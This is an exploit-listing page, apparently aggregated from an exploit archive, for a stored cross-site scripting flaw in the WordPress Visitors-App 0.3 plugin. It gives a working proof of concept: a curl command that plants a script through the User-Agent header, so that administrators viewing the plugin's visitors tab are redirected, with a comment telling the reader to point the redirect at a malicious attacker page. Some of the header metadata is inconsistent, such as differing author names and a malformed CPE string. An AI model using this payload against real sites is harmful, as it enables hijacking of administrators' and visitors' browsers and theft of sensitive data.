WordPress Visitors-App 0.3 Cross Site Scripting
CVE
Category
Price
Severity
CVE-2020-11867
CWE-79
$500
High
Author
Risk
Exploitation Type
Date
John Doe
High
Remote
2021-06-09
CPE
cpe:cpe:/a:wordpress:wordpress_visitors_app:0.3
CVSS vector description
Metric
Value
Metric Description
Value Description
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060054 Below is a copy:
WordPress Visitors-App 0.3 Cross Site Scripting # Exploit Title: WordPress Plugin visitors-app 0.3 - 'user-agent' Stored Cross-Site Scripting (XSS)
# Date: 09/06/2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://profiles.wordpress.org/domingoruiz/
# Software Link: https://wordpress.org/plugins/visitors-app/
# Version: 0.3
# Tested on: Debian GNU/Linux 10
# Reference: https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc
## Description:
# A vulnerability in the Wordpress plugin "visitors" version 0.3 and prior allows remote attacker through
# Cross-Site Scripting (XSS) to redirect administrators and visitors and potentially obtain sensitive informations
# The 'user-agent' parameter allows attacker to escalate their privileges.
## PoC
# Replace google.com with malicious attacker page
curl -i http://localhost/wordpress --user-agent "</script><script>location=([]+/http:\\google.com/g).substr(1,19); </script>"
# on http://localhost/wordpress/wp-admin, browse the tab "visitors"
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